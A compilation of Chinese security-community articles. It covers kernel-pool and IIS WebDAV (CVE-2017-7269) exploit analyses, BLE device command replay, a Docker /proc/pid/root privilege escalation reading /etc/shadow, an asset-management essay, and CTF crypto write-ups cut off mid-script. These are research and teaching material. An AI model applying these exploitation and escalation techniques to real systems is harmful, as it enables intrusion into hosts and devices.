接下来，我们看看内核池的情况，这里我们需要使用一个名叫poolinfo的Windbg插件。我们可以看到如下所示的内核池信息：
0: kd> !poolpage 86ff3488
walking pool page @ 86ff3000
Addr A/F BlockSize PreviousSize PoolIndex PoolType Tag
------------------------------------------------------------------- 86ff3000: InUse 02E8 (05D) 0000 (000) 00 02 Thr.
86ff32e8: InUse 0040 (008) 02E8 (05D) 00 02 SeTl
86ff3328: Free 0160 (02C) 0040 (008) 00 00 ALP.
*86ff3488: Free 02D0 (05A) 0160 (02C) 00 04 RDW.
86ff3758: Free 0000 (000) 0000 (000) 00 00 ....
在缓冲区数据中，pool header前面的就是我们的user-controlled数据：
0: kd> dd 86ff3758-8
86ff3750 41414141 00004141 00000000 00000000 — pool header
86ff3760 00000000 00000000 00000000 00000000
86ff3770 00000000 00000000 00000000 00000000
86ff3780 00000000 00000000 00000000 00000000
86ff3790 00000000 00000000 00000000 00000000
86ff37a0 00000000 00000000 00000000 00000000
86ff37b0 00000000 00000000 00000000 00000000
86ff37c0 00000000 00000000 00000000 00000000
我花了很多时间才理清楚上述给大家介绍的内容，但这里出现了一个问题，即我们在对数据进行处理的过程中，代码的条件循环会意外退出。比如说，我们溢出四个字节，而在下一次检测时，这个值又会被修改成初始值，并导致循环退出。但这并不算非常糟糕，因为这仅仅意味着开发出PoC的难度有所增加而已。为了解决这个问题，我们需要弄清楚循环在哪个阶段退出的。
目前来说，我们从某种程度上来说做出了一个PoC，我们现在可以溢出下一个对象的pool header，所以我们需要想办法控制这个对象。
注：内核池喷射是一项使池中分配位置可预测的艺术，这项技术允许我们知道一个数据块将被分配到哪里，以及附近数据块的相关信息。如果您想要泄露某些精确的信息或覆盖特定的数据，利用内核池喷射是必须的。内核池喷射的相关内容大家可以参考网上现有的内容【参考文献】，所以这里我们不再进行赘述。
## 总结
在本文中，我们给大家介绍了漏洞利用代码开发过程的前期准备工作以及进行方式，在Jungo Windriver
12.5.1中的代码执行漏洞（CVE-2018-5189）分析(下)中，我们将解决本文之前所遇到的一些问题，并给大家提供PoC的完善思路，然后给大家提供最后完整的漏洞利用代码。除此之外，我们还会给大家介绍针对该漏洞的漏洞修复方案，感兴趣的同学请持续关注安全客最新发布的内容。
## 漏洞披露时间轴
2017年12月23日：将漏洞信息披露给厂商；
2017年12月24日：收到厂商的回复，并要求提供初始安全报告；
2017年12月29日：将初始漏洞报告发送给厂商；
2018年01月01日：厂商向我发送了漏洞补丁的测试版本，并让我进行测试；
2018年01月01日：漏洞补丁已确认有效；
2018年01月10日：漏洞补丁正式发布；
## 参考资料
[1] <https://www.jungo.com/st/products/windriver/>
[2] <https://srcincite.io/pocs/src-2017-0026.py.txt>
[3] <http://www.mista.nu/research/MANDT-kernelpool-PAPER.pdf>
[4] <http://www.fuzzysecurity.com/tutorials/expDev/20.html>
[5] <https://www.whitehatters.academy/intro-to-windows-kernel-exploitation-3-my-first-driver-exploit/>
[6] <https://www.whitehatters.academy/intro-to-kernel-exploitation-part-1/> | 社区文章 |
# 数据安全建设实践系列——安全资产平台建设篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
资产管理，虽然是安全工作的基础，但是一直以来很多人不屑于做这些基础工作，因为资产管理不是高大上且见效快的工作，是累活苦活远不如挖个洞或发现黑客攻击有成就感。笔者认为，特别是大型互联网企业基于安全需求和存在的问题，搭建安全资产平台，能够为监控、应急响应及数据泄露溯源等提供资产定位，能够快速定位被攻击、渗透的对象或泄露源并止损，将大幅提升安全运营效率。与此同时，通过对资产的进一步挖掘和分析更能为确定安全工作优先级及投入产出比（ROI）提供决策支撑。
## 安全资产管理的重要性
安全资产是安全运营的必备基础能力之一，重要性主要体现在以下几个方面“：
**1、资产全覆盖**
摸清家底，掌握资产全貌是安全治理的基石。通过各种技术手段，识别发现资产，并能够清楚知道资产的分布情况、部署情况和使用情况，能够提高安全管理效率。
**2、资产可管理**
成为安全运营的基础支撑能力。随着信息系统业务规模逐步扩展及人员的变化，如何跟踪资产的变化，准确定位资产，并在发现安全威胁时，快速定位威胁的影响范围从而能够快速判定和处理威胁，能够提升安全运营响应速度。
**3、资产可视化**
特别是上下游资产关系可视化，可为业务和安全管控提供决策支撑。随着业务数字化，数据越来越重要，同时攻击手段的多样化、攻击场景的复杂化，业务目标越来越分散，但是安全防护目标必须足够聚焦，通过可视化手段能够准确定位安全防护的重点。
## 安全资产管理遇到的问题
随着近年来移动互联网的快速发展，企业内部的IT资产亦是是成倍数级增加。由于各部门的管理需求不同，各自管理的资产都是孤立、碎片化的，没有进行统一整合。尤其是当那些集中爆发的黑客攻击或0day漏洞发生时，需要快速确定影响业务范围，但由于受限于资产信息形成的竖井，已经影响到安全运营的高效运行。在安全运营工作中通常主要存在如下几个问题：
**1、资产无统一管理**
无全局的平台掌握资产全貌，了解哪些资产是对外提供服务、哪些是对内提供服务，同时各业务线的资产占比是什么情况，安全资源如何进行分配和投入等。
**2、资产属性覆盖不全**
无有效的技术手段，对资产的安全属性进行识别和补全，各个业务系统上运行了什么程序、具体是什么版本覆盖不全，未形成自动化、周期性的资产识别、更新和检查校验机制。
**3、资产归属责任不清**
资产责任不清晰，当资产负责人异动或离职时，未变更资产负责人或交接资产，特别是发生安全事件或安全漏洞时，无法准确定位到资产负责人。
**4、资产之间无关联**
各个维度的资产之间都是孤立的竖井，无关联性，各个节点和系统之间有着怎样的对应关系和依赖关系。如域名与应用之间、应用与数据库之间未建立关联关系，发生安全事件无法准确判断对业务系统的影响范围。
## 安全资产管理的解决思路
基于遇到的问题，可以通过全面整合当前资产相关信息，建设安全资产平台，一站式地让安全运营团队更清楚的看到资产相关情况，在发生安全风险时，能够快速地进行定位和响应。
因此，安全资产平台将统一化解决设备资产、网络资产、应用资产、组件资产、接口资产、数据资产之间无协同性的问题，安全资产平台总体可以分为三个部分：Web展示层、数据采集处理层和数据存储层，整体架构设计如下图所示：
图1：资产平台架构图
**1、安全资产平台实现**
安全资产平台按照创建的任务列表，会通知给外部部署平台采集资产数据，所有的采集请求会先通过外部接口校验后进行数据采集，并记录相应日志信息，然后根据任务类型执行不同操作，如每天定期或资产属性发生变化时进行采集。任务生成模块负责对任务进行细粒度的拆分，数据处理模块负责采集资产属性和入库，例如针对所有的IP资产、域名资产、设备资产、应用资产、组件资产、接口资产、数据资产进行资产属性采集，采集完成后通过消息队列通知构建资产模块去进行资产构建。考虑到安全事件的溯源，会对每次采集资产属性数据同步到ES存储，如保存最近1个月历史资产属性数据。
数据构建和聚合模块负责对原始资产数据进行重新构建，通过消息队列按照安全需求对各类资产属性进行聚合和更新，资产属性聚合依托于安全使用场景，分别存储不同使用场景维度的资产属性数据，并标记数据来源，最后按照资产类型入库。
数据关系构建模块负责计算各个资产模块的关系图谱，通过各个资产之间关联关系建立数据关系和关联键值，并标记安全级别，最后将关系数据存储到资产关系数据库，如通过查询IP地址，可关联到相关的域名、端口、服务、主机信息、应用名称、接口名称、数据库名称、机房、负责人、时间戳等信息。
对外接口查询模块负责提供对外数据查询能力，提供多为维度的资产数据为各运营平台赋能。同时资产关系数据库如被大量的查询，将热点数据缓存到Redis，来应对高QPS查询，保证平台的高可用。
**2、安全资产平台建设挑战及应对思路**
1）资产完整性：安全资产管理平台是对现有的各部署平台的信息进行整合，如果各部署平台没有相关资产信息，就会影响到资产库的完整性。因此在平台建设过程中，同时要推动内部业务系统部署要使用公司统一部署平台，通过制定相关管理制度约束业务方减少系统自建，同时要求各部署平台在发生资产属性变化时要及时进行更新，确保资产属性的完整。
2）资产变更管控：当员工异动或离职时，员工名下的资产没有进行交接，这样定位到资产就无法找到准确的资产归属人，会影响安全运营效率。因此推动员工交接平台与各系统部署平台对接，在员工异动或离职时，将名下资产进行交接，保证资产归属人及时更新。
3）资产准确性：为保证资产属性准确性，从以下几方面入手：第一，当运营人员发现资产属性不准确或无法定位时，可通过资产平台提供的任务接口建立任务工单，推送任务工单给部署平台进行资产属性修改、完善或协助资产定位；第二，当监控发现无人认领的资产或长期无流量访问的业务，依据建立的资产停用管理制度，逐步先将无归属人的资产或不使用的资产先停用，如关闭端口或服务，到最后系统下线；第三，使用安全扫描工具或源码审计工具，对资产属性进行补全，如安全扫描工具可以对IP开放的端口、服务等进行校正，源码审计工具可以对应用开发框架或接口属性进行补全。
**3、安全资产平台信息展示**
资产数据以卡片或关系图形式展示，同时支持多语法搜索，便于应急排查过程中定位到具体的业务方，包括的信息列举如下：
1）IP信息：公/内网、开放端口、机房、运营商、部门、负责人等。
2）域名信息：公/内网、端口、解析类型、状态、部门、负责人、VIP、真实IP、机房、URL、响应状态、请求/返回值、HTTPS强跳、应用名称。
3）主机信息：物理机/Docker、状态、SN号、操作系统、主机名称、组件版本、服务名称、部署位置、设备型号、应用名称、负责人等。
4）应用信息：部署平台、系统名称、应用名称、状态、开发语言、开发框架、接口类型、接口名称、接口是否认证、组件版本、安全等级、部门、负责人、上线包名、上线人及时间等。
5）数字资产：数据库名称、业务标签、表名、表注释、表数据类型及级别、字段、字段注释、字段数据类型及级别（包括个人敏感信息）、字段是否加密、部门、负责人、关联应用名称等。
## 总结
随着业务数字化，企业安全将逐渐回归本质，以资产为核心，风险为要点，安全应该贯穿业务系统的整个生命周期，用好资产基础安全工具。通过对其整合利用，安全资产可以更全面多维度地覆盖所有资产属性，提高了资产数据的完整性和准确性，但这也意味着加大了资产数据整合难度，需要从安全角度自动化构建细粒度资产信息，支持业务和安全运营对资产精准识别和动态感知。 | 社区文章 |
## **漏洞描述：**
3月27日，在Windows 2003 R2上使用IIS 6.0
爆出了0Day漏洞（CVE-2017-7269），漏洞利用PoC开始流传，但糟糕的是这产品已经停止更新了。网上流传的poc下载链接如下。
github地址：<https://github.com/edwardz246003/IIS_exploit>
结合上面的POC，我们对漏洞的成因及利用过程进行了详细的分析。在分析过程中，对poc的exploit利用技巧感到惊叹，多次使用同一个漏洞函数触发，而同一个漏洞同一段漏洞利用代码却实现不同的目的，最终通过ROP方式绕过GS的保护，执行shellcode。
## **调试环境** ：
虚拟机中安装Windows Server 2003企业版，安装iss6.0后，设置允许WebDAV扩展。使用的调试器为：windbg:6.7.0005.1
远程代码执行效果如下：
由上图可到，漏洞利用成功后可以network services权限执行任意代码。
## **漏洞分析：**
### **漏洞函数**
漏洞位于ScStoragePathFromUrl函数中,通过代码可以看到，在函数尾部调用memcpy函数时，对于拷贝的目的地址来自于函数的参数，而函数的参数为上层函数的局部变量，保存在上层函数的栈空间中。在调用memcpy时，没有判断要拷贝的源字符长度，从而导致了栈溢出。
通过伪代码更容易看出：
## **漏洞利用：**
在POC中，可以看到发送的header中包含两部分<>标签，这会使上面的每个循环体都会运行两次，为了下面的描述方便，我们对这两个header的标签部分分别定义为HEAD_A与HEAD_B。
### **漏洞利用流程：**
1. 在HrCheckIfHeader函数中，通过使用HEAD_A溢出，使用HEAD_B被分配到堆空间地址中。
2. 在HrGetLockIdForPath函数中，再次通过使用HEAD_A溢出，使HEAD_B所在的堆地址赋值给局部对象的虚表指针，在该对象在调用函数时，控制EIP。
1. 最终调用IEcb类的对象偏移0x24处的函数指针，控制EIP
漏洞利用主要在于HrCheckIfHeader函数与函数HrGetLockIdForPath中。
函数HrCheckIfHeader主要功能是对用户传递来的Header头进行有效性的判定。在函数中HrCheckIfHeader通过了while循环来遍历用户输入的Header头中的数据。
HrGetLockIdForPath主要功能是对传递来的路径信息进行加锁操作。在HrGetLockIdForPath函数中，也是通过while循环来遍历路径信息，同样也对应着两次调用漏洞函数。
## **调试过程：**
### **两次溢出控制EIP**
对这4个调用漏洞函数的地方分别下断：
bp httpext!CParseLockTokenHeader::HrGetLockIdForPath+0x114 ".echo HrGetLockIdForPath_FIRST";
bp httpext!CParseLockTokenHeader::HrGetLockIdForPath+0x14f ".echo HrGetLockIdForPath_SECOND";
bp httpext!HrCheckIfHeader+0x11f ".echo HrCheckIfHeader_FIRST";
bp httpext!HrCheckIfHeader+0x159 ".echo HrCheckIfHeader_SECOND";
调试程序，共会断下6次，我们对这6次断点处漏洞函数在利用时的功能进行归纳：
第一次：
暂停在HrCheckIfHeader _FIRST，对漏洞利用没有影响
第二次：
断在HrCheckIfHeader
_SECOND，此处调用漏洞函数的目的是为了使用HEAD_A标签，来溢出漏洞函数，目的是使用HEAD_A标签中的堆地址覆盖栈中的地址，此堆地址会在随后使用。
运行漏洞函数前，
运行过漏洞函数后，可以看到栈空间中的0108f90c位置处的内容已经被覆盖成了680312c0，680312c0正是一个堆中的地址。
第三次：
暂停在HrCheckIfHeader_FIRST,此时漏洞函数的作用是，将HEAD_B标签拷贝到上面的堆地址中。本来正常的程序在这里会将用户传递进来的HEADER拷贝到栈空间中，但在上面因为溢出，将HEAD_B标签拷贝到了堆中。可以看到使用的堆地址680312c0。
第四次：
暂停到HrCheckIfHeader_FIRST，对漏洞利用没有影响
第五次：
HrCheckIfHeader_SECOND，此处调用漏洞函数的目的是为了使用HEAD_A标签，来溢出漏洞函数，目的是使用HEAD_A标签中的堆地址覆盖栈中的地址，此堆地址会在随后使用。溢出AAA
db ebp-14 将栈中的地址改成了与堆中的地址
680312c0，在这里ebp-14的地址也被覆盖，这个地址在下面第六次的溢出时，会赋值给对象指针，在这里就控制了ebp_14的值，也就可以控制下一步中的对象指针。
第六次：
HrCheckIfHeader_FIRST在这个函数下面的子子函数中会调用虚函数，从而控制EIP。
总结一下，在上面六次调用处，需要关注的利用过程是：
1）
第二次与第三次处是必须的，因为没有第二次处的利用，就不会有第三次处的把HEAD_B拷贝到堆中。没有堆中的地址在第六次调用时就没法控制虚表指针。所以没有第二次的溢出调用，就不会有堆中的HEAD_B内存。(本来HEAD_B的归宿是栈空间，就是因为溢出了才把HEAD_B放到了堆空间中)
2）
第五次再次把栈溢出，把堆的地址写到了局部变量中，才导致第六次能成功调用虚函数。因为第六次调用虚函数时，是调用的局部变量的虚函数。如果没有第五次断点处的溢出，就无法把堆中地址成功的写入到局部变量的虚函数中，也就无法控制虚函数指针。
由此可以看出，两次对漏洞函数溢出操作，其中一次溢出操作(第二次断点处)将栈地址改写为堆地址，保证了HEAD_B被写入到堆中，另外一次溢出操作(第五次断点处)将局部变量对象的指针指向堆。两次溢出代码相同，实现的目的却不同，双剑合壁，鬼斧神工，巧妙结合实现对EIP的控制。
### **ROP**
控制EIP后，使用ROP技术绕过GS的保护。
使用SharedUserData的方法执行自定义的函数
来到shellcode处：
Shellcode进行一次循环解码：
解码完成后，就是长得比较漂亮的shellcode了
## **缓解方案：**
l 禁用 IIS 的 WebDAV 服务
l 使用 WAF相关防护设备
l 建议用户升级到最新系统 Windows Server 2016。
## **总结**
通过分析可以看到，漏洞原理只是因为没有对拷贝函数的长度做判断，而导致了栈溢出。这也提醒广大程序员们，慎用不安全的内存操作函数，在编译代码时开启所有保护。从漏洞利用角度分析，对于栈溢出，喜闻乐见的利用手法为修改返回地址，覆盖虚表指针等方法，但这种利用栈溢出把指针引向堆空间中，在需要的时候，再通过溢出将堆空间中的地址引回到栈空间中的利用手法确实也是标新立异、与众不同，同一个漏洞代码处使用多次溢出最终实现exploit，即使在分析完成后也对利用手法回味悠长。 | 社区文章 |
### 前言
BLE的应用范围越来越广，特别是在移动智能设备上。现在低功耗蓝牙（BLE）连接都是建立在 GATT (Generic Attribute Profile)
协议之上。GATT 是一个在蓝牙连接之上的发送和接收很短的数据段的通用规范，这些很短的数据段被称为属性（Attribute）。
GATT负责两个BLE设备间通信的数据交互，是对功能数据最为重要的部分，GATT包括三层：
PROFILE、CHARACTERISTIC、SERVICE
CHARACTERISTIC是每个功能的对象，每个Servie都包含一个或多个CHARACTERISTIC，而PROFILE是他们的大类集合。（如图）
[
### example：**手环
在Ubuntu下执行 ‘hcitool lescan’可扫描附近的BLE设备。
[
我们来抓包分析下**手环在交互时产生的数据，然后方便进行分析。
[
我用的设备是`USBdongle`,嗅探数据为`SmartRF`格式：
[
但是这种格式，使用起来很不方便，可以使用`tibtle2pcap`转换成`libpcap`的格式。
[
当你安装完`Bluez`协议栈后会给你自带两个工具，一个是`hcitool`，一个是`Gattool`。这两个工具本作为调试工具。特别是`Gattool`，它可连接蓝牙设备对其进行操作。所以我们可以对其数据进行分析，找出这些控制指令，然后重放这个指令。
[
经过抓包分析，找到了一处`ATT Write Command`控制指令，通过数据得知该 `Handle`Vul为：`0x0051` 还有一处`Alert
level:Hight Alert（0X02）`
根据蓝牙官方GATT CHARACTERISTIC文档描述
[
这是一种警报级别，也就是说**手环的震动就是根据这个数值分为震动级别。
有个APP是`LightBlue`。也可以做到这一点，但不是全部...例如下面的蓝牙灯泡就不可以。
[
演示Demo
<https://v.qq.com/x/page/c0501jtxfkm.html>
### example：蓝牙灯泡
灯泡分析与**雷同，其实只要读懂了GATT，一半的设备都可以轻易的被‘黑’。
通过扫描确定其MAC地址。
[
后对其目标进行设备进行数据分析，寻找write字段信息分析
[
跟踪字段信息并寻找其VULE字段值
[
抓包分析灯泡数据：
还是去分析它的Write Command，其`Handle`（操作句柄）为`0x0019`，数据值为`08004701470147010000`
Wirte Command与Write Request是有区别的，一个是写命令，一个是写请求，就以wirete command为例。
test vulue：
08004701470147010000
08000d07470147010000
08004701b223c64c0000
（PS：一些其他品牌的灯泡变色可能是根据RGB颜色对照表）
这个灯泡做了一些校验吧，若不通过APP直接用手机自带BLE连接会导致密钥不匹配。
[
使用Gattool可以直接操控灯泡开关，以及变色，若自己写个脚本，则可以让灯泡连续开关变色。。。
放个简单的Demo：
<https://v.qq.com/x/page/g0501zyymd9.html>
自己在家可以没事试着玩玩，没什么技术含量。 | 社区文章 |
# Linux容器安全：通过`/proc/pid/root`目录来实现权限提升
|
##### 译文声明
本文是翻译文章，文章原作者 labs.f-secure，文章来源：labs.f-secure.com
原文地址：<https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
容器是指一个与主机系统相隔离的工作区域，本质是一种特殊的进程。在Linux操作系统中运行相关容器时（例如Docker与LXC），会使用到多个Linux命名空间来隔离资源以实现虚拟化。基于这个前提，有关容器和命名空间的安全研究大部分都集中在`容器逃逸`这一层面。但是在某些特定场景下，攻击者能够通过滥用容器和Linux命名空间在目标主机上实现权限提升。这篇文章中我们展示了在处于`容器ROOT用户+主机非ROOT权限`场景下时，如何借用默认权限且不带有`--privileged`参数运行的Docker容器在主机层面来实现权限提升。此外，我们还将分享一些关于`symlink(符号链接)`在命名空间场景下的利用方法。
## 什么是名称空间（namespaces）？
截至目前，Linux内核公开了7个命名空间。它们可用来隔离主机与容器两者的相关资源以实现虚拟化。简要描述如下：
命名空间 | 作用介绍
---|---
Mount | 用来隔离文件系统的挂载点, 使得不同的Mount namespace拥有自己独立的挂载点信息
PID | 用来隔离进程的ID空间，使得不同PID namespace里的进程ID可以重复且相互之间不影响
Network | 用来隔离网络设备、IP地址、端口等. 每个命名空间将会有自己独立的网络栈、路由表、防火墙规则、socket等
IPC | 用来隔离System V IPC 对象以及POSIX消息队列
UTS | 用来隔离系统的hostname以及NIS domain name
User | 用来隔离用户权限相关的系统资源，包括user IDs、 group IDs、keys 、capabilities
Cgroup | 用来实现资源限制、优先级分配、资源统计、进程控制等
在这里我们主要讨论 `Mount namespace`与`User
namespace`，前者允许一组进程拥有它们独自的系统文件视图；而后者则允许进程用户临时提升到root权限来完成某些操作，只要这些操作仅影响到各自的命名空间即可。
`Mount namespace`可通过`/proc/pid/root`目录或`/proc/pid/cwd`目录来访问。这些目录可使`Mount
namespace`和`PID namespace`中的父进程临时查看另一个进程中`Mount
namespace`内的文件。这种访问方式比较神奇不过有一些限制，例如，即使通过`nodev`参数挂载了
`/proc`目录，设置用户位操作无法执行但当前`设备文件`仍然可用。
## 通过Docker容器进行提权
让我们确定一个前提：nodev参数并没有使用。
在这个前提下，我们假设有一个攻击者已拿到某个Docker容器的root权限，而在该Docker容器对应的主机上拥有一个非root权限的shell。Docker容器不使用`User
namespace`。容器内的root用户对于容器外具有root访问权限。但是Docker会从容器内的root用户中删除一堆功能，以确保它们不会影响容器之外的任何数据。
默认情况下，Docker容器举有以下功能：
`cap_chown、cap_dac_override、cap_fowner、cap_fsetid、cap_kill、cap_setgid、cap_setuid、cap_setpcap`
`cap_net_bind_service、cap_net_raw、cap_sys_chroot、cap_mknod、cap_audit_write、cap_setfcap
+ eip`
这些功能大多数都很难被滥用，例如，虽然`cap_kill`允许容器内的root用户终止它可以查询到的所有进程，但是它受`PID
namespace`限制，所以实际上仅允许杀死容器中的进程。但是，由于容器具有`cap_mknod`能力，因此允许容器内的root用户创建`块设备文件`。`设备文件`是用于访问`基础硬件`和`内核模块`的特殊文件。例如，`/dev/sda`设备文件提供系统磁盘上原始数据的读取权限。
Docker通过在容器中设置禁止读写块设备的Cgroup策略，确保不会从容器内部滥用块设备文件。
但是，如果在容器内创建了块设备文件，则容器外部的用户可以通过`/proc/pid/root/`目录访问该块设备文件，有一个限制就是该进程必须属于容器内外的同一用户。
下面的截图展示了一个攻击示例。左图是攻击者控制的举有root用户的容器，右图是攻击者控制的非root权限的shell。
在右图中，我们读取`/etc/shadow`中的root账户用户密码来证实当前对系统拥有完全的访问权限。解决方案是可以通过禁用容器中的root用户或者通过`--cap-drop=MKNOD`参数启动Docker容器来防止这种攻击。
## 扩大symlink（符号链接）漏洞危害
`/proc/pid/root`目录在`Mount
Namespace`下的另一种利用思路是它可用来配合符号链接漏洞，为了更好的说明此问题的严重性，我们首先描述`User namespace`与`Mount
namespace`之间的关系。
`User namespace`的作用是将其内部的UID映射到其它`User namespace`中。在进程创建命名空间时就决定了这一映射关系。`User
namespace`的常见用法是将容器内部的`UID 0`映射到容器外部的普通用户。这种映射方式比较神奇，因为容器中`User
namespace`中的操作`UID 0`实际上是root，但是在该容器之外的`UID 0`是常规用户。将`User namespace`与`Mount
namespace`结合使用的一个神奇之处就在于它允许普通用户通过绑定挂载的方式实现对`Mount
namespace`中的文件系统进行控制。例如这一场景，进程想在其命名空间中更改其系统用户名，但它们对`/etc/passwd`文件没有写权限，因为这样做需要容器之外的root权限。但是，它们可以使用挂载目录的方式将任意文件和目录链接到`/etc`路径。
回到主题，在常规操作下，可以通过`apt remove
包名`的方式来删除Debian系统中的软件包，有一些软件包在删除时需要进行额外的清理操作，假设某个软件包被以root权限来执行命令`rm –rf
/home/*/.config/programX`以清除相关用户配置文件。此种场景存在一个明显的`符号链接漏洞`，用户可以将其`.config`目录通过符号链接到任何指定目录，从而删除文件系统上任何名为`programX`的文件或者文件夹。尽管这是一个漏洞场景，但是删除名为`programX`的文件或文件夹不太可能造成太大的危害，尤其是在卸载程序时。
请注意，无法创建从`/home/user/.config/programX`路径到例如`/etc/password`路径的符号链接，因为在这种情况下`rm`仅会删除符号链接本身。与`.config`符号链接时的结果不同是因为`programX`位于上述路径的末尾。
使用`User + Mount namespace`，我们可以在`.config`目录上使用符号链接将脚本欺骗到我们自己的`Mount
namespace`中。在这之中，我们可以控制文件系统，例如可以创建从`programX`目录到`/etc/`目录的挂载。这种目录挂载方式不是符号链接因此`rm`命令很显然能操作此目录。
下面的截图展示了上述的攻击理论。左图是具有root用户特权的模拟卸载脚本，右图是非root权限主机上的攻击者。首行的`unshare –r –m`命令来创建
`User namespace + Mount namespace`并进入对应的容器。
在左图执行模拟卸载脚本运行之前，右图中需要执行完毕第一个`ls`命令之前的所有命令，此外，模拟卸载脚本执行时，进程和名称空间必须在同一主机上运行。
由于此方法可以用来扩大符号链接漏洞的影响范围，因此建议的解决此问题的方法是修复符号链接漏洞。可以添加一些缓解措施，例如，可以通过其自己的`PID
namespace`运行`rm -rf`命令，从而通过`/proc/pid/root`隐藏对`Mount namespace`的访问。
## 总结
在相关研究公布之前一些容器技术就已经被投入使用。因此，开发人员很难完整掌握在容器内提供root权限的安全隐患以及特定功能增加时对安全隐患的影响。
希望这篇文章能够抛砖引玉，对在不建议在Docker容器中提供root权限以及命名空间如何影响现有漏洞等场景提供一些思路。 | 社区文章 |
## 前言
休假在家，竟然早上6点自然醒，不如做点数学题？
于是心血来潮打开
https://hackme.inndy.tw/scoreboard/
既然刷完了web，今天也尽量把crypto也刷完XD
做的过程中发现网上很难搜到题解，于是有了这篇文章
注：web全题解
http://skysec.top/2018/01/07/hackme%E7%BD%91%E7%AB%99%E8%BE%B9%E5%81%9A%E8%BE%B9%E8%AE%B0%E5%BD%95/
https://www.anquanke.com/post/id/156377
## easy
题目给了一串16进制
526b78425233745561476c7a49476c7a4947566863336b7349484a705a3268305033303d
解了之后发现是Base64，写个脚本即可拿到flag
import base64
c = "526b78425233745561476c7a49476c7a4947566863336b7349484a705a3268305033303d"
print base64.b64decode(c.decode('hex'))
## r u kidding
题目：
EKZF{Hs'r snnn dzrx, itrs bzdrzq bhogdq}
简单的凯撒加密
## not hard
题目信息：
Nm@rmLsBy{Nm5u-K{iZKPgPMzS2I*lPc%_SMOjQ#O;uV{MM*?PPFhk|Hd;hVPFhq{HaAH<
Tips: pydoc3 base64
随机想到py3的base85
于是尝试
最后发现只是base85+base32
即可获得flag
## classic cipher 1
题目如下
MTHJ{CWTNXRJCUBCGXGUGXWREXIPOYAOEYFIGXWRXCHTKHFCOHCFDUCGTXZOHIXOEOWMEHZO}
Solve this substitution cipher
直接凯撒遍历不行，于是直接使用工具
可以得到flag
注：交的时候去掉空格
## classic cipher 2
题目给了一个很长的vigenere cipher
在线工具解密
https://www.guballa.de/vigenere-solver
得到
搜索flag
得到答案
## easy AES
下载后发现是.xz结尾
于是
xz -d 1.py.xz
即可得到1.py
#!/usr/bin/env python3
import base64
from Crypto.Cipher import AES # pip3 install pycrypto
def main(data):
c = AES.new(b'Hello, World...!')
plain_text = bytes.fromhex(input('What is your plain text? '))
if c.encrypt(plain_text) != b'Good Plain Text!':
print('Bad plain text')
exit()
c2 = AES.new(plain_text[::-1], mode=AES.MODE_CBC, IV=b'1234567887654321')
decrypted = c2.decrypt(data)
with open('output.jpg', 'wb') as fout:
fout.write(decrypted)
main(base64.b64decode('.......'))
思路相当清晰：
1.第一轮密钥为`b'Hello, World...!'`
2.第一轮密文为`b'Good Plain Text!'`
3.解密即可得到`plain_text`
4.第二轮密钥为`plain_text`
5.直接解密输出图片即可
代码如下
import base64
from Crypto.Cipher import AES
c = AES.new(b'Hello, World...!')
plain_text = c.decrypt(b'Good Plain Text!')
c2 = AES.new(plain_text[::-1], mode=AES.MODE_CBC, IV=b'1234567887654321')
data = base64.b64decode('.......')
decrypted = c2.decrypt(data)
with open('output.jpg', 'wb') as fout:
fout.write(decrypted)
得到图片
即可获得flag
## one time padding
看到代码
<?php
/*
* one time padding encryption system
*
* we generate {$r = random_bytes()} which {strlen($r) == strlen($plaintext)}
* and encrypt it with {$r ^ $plaintext}, so no body can break our encryption!
*/
// return $len bytes random data without null byte
function random_bytes_not_null($len)
{
$result = '';
for($i = 0; $i < $len; $i++)
$result .= chr(random_int(1, 255));
return $result;
}
if(empty($_GET['issue_otp'])) {
highlight_file(__file__);
exit;
}
require('flag.php');
header('Content-Type: text/plain');
for($i = 0; $i < 20; $i++) {
// X ^ 0 = X, so we want to avoid null byte to keep your secret safe :)
$padding = random_bytes_not_null(strlen($flag));
echo bin2hex($padding ^ $flag)."\n";
}
注意到每次加密都是使用`random_bytes_not_null`生成随机的key，然后与flag进行异或，正面突破显然无望
但是我们注意到一段注释
// X ^ 0 = X, so we want to avoid null byte to keep your secret safe :)
题目意思为随机key中不会存在0，那么意味着不会出现flag中的原字母
那么我们反过来想，只要爆破每一位，每一位从未出现过的，即flag
所以写出脚本如下：
import requests
import re
from bs4 import BeautifulSoup
url = "https://hackme.inndy.tw/otp/?issue_otp=a"
res_list = [[True] * 256 for i in range(50)]
for i in range(300):
print i,res_list
r = requests.get(url)
soup = BeautifulSoup(r.text, "html.parser")
text = str(soup)
c_list = re.findall("[^\n]*\n", text)
for j in c_list:
j = j.replace('\n','')
for k in range(1, len(j)/2+1):
char_hex = "0x" + j[k * 2 - 2: k * 2]
char_int = int(char_hex, 16)
res_list[k - 1][char_int] = False
flag = ""
for i in range(50):
for j in range(256):
if res_list[i][j]:
flag += chr(j)
print flag
其实最外层循环100次左右就够了，怕有人很非，所以写了300次= =
要是二维数组True不止50个。。对不起，你是大非酋。。。写1000吧
最后得到flag
## shuffle
拿到代码
import random
import string
characters = ''.join(map(chr, range(0x20, 0x7f)))
with open('plain.txt', 'r') as fin:
plaintext = fin.read()
mapping = list(characters)
random.shuffle(mapping)
mapping = ''.join(mapping)
T = str.maketrans(characters, mapping)
with open('crypted.txt', 'w') as fout:
fout.write(plaintext.translate(T))
plain = list(plaintext)
random.shuffle(plain)
suffled_plaintext = ''.join(plain)
with open('plain.txt', 'w') as frandom:
frandom.write(suffled_plaintext)
代码很清晰：
1.将明文随机替换加密，保存为crypted.txt
2.将明文打乱，保存为plain.txt
故此我们只要根据plain.txt和crypted.txt计算出字频和对应的字符
然后替换一遍即可
类似于：
随机写了个冗余的代码（想到哪里写到哪里= =别介意，没优化）
f1 = open('./crypted.txt')
cry_list=[0 for i in range(300)]
cry_content = f1.read()
list1=[]
for i in cry_content:
cry_list[ord(i)]+=1
for i in range(len(cry_list)):
if cry_list[i]!=0:
list1.append((cry_list[i],i))
list2=[]
f2 = open('./plain.txt')
plain_list=[0 for i in range(300)]
plain_content = f2.read()
for i in plain_content:
plain_list[ord(i)]+=1
for i in range(len(plain_list)):
if plain_list[i]!=0:
list2.append((plain_list[i],i))
res1 = sorted(list1)
res2 = sorted(list2)
res = []
for i in range(len(res1)):
cry_chr = chr(int(res1[i][1]))
plain_chr = chr(int(res2[i][1]))
res.append((cry_chr,plain_chr))
f3 = open('./crypted.txt')
flag_content = f3.read()
res_content = ""
for i in flag_content:
flag = False
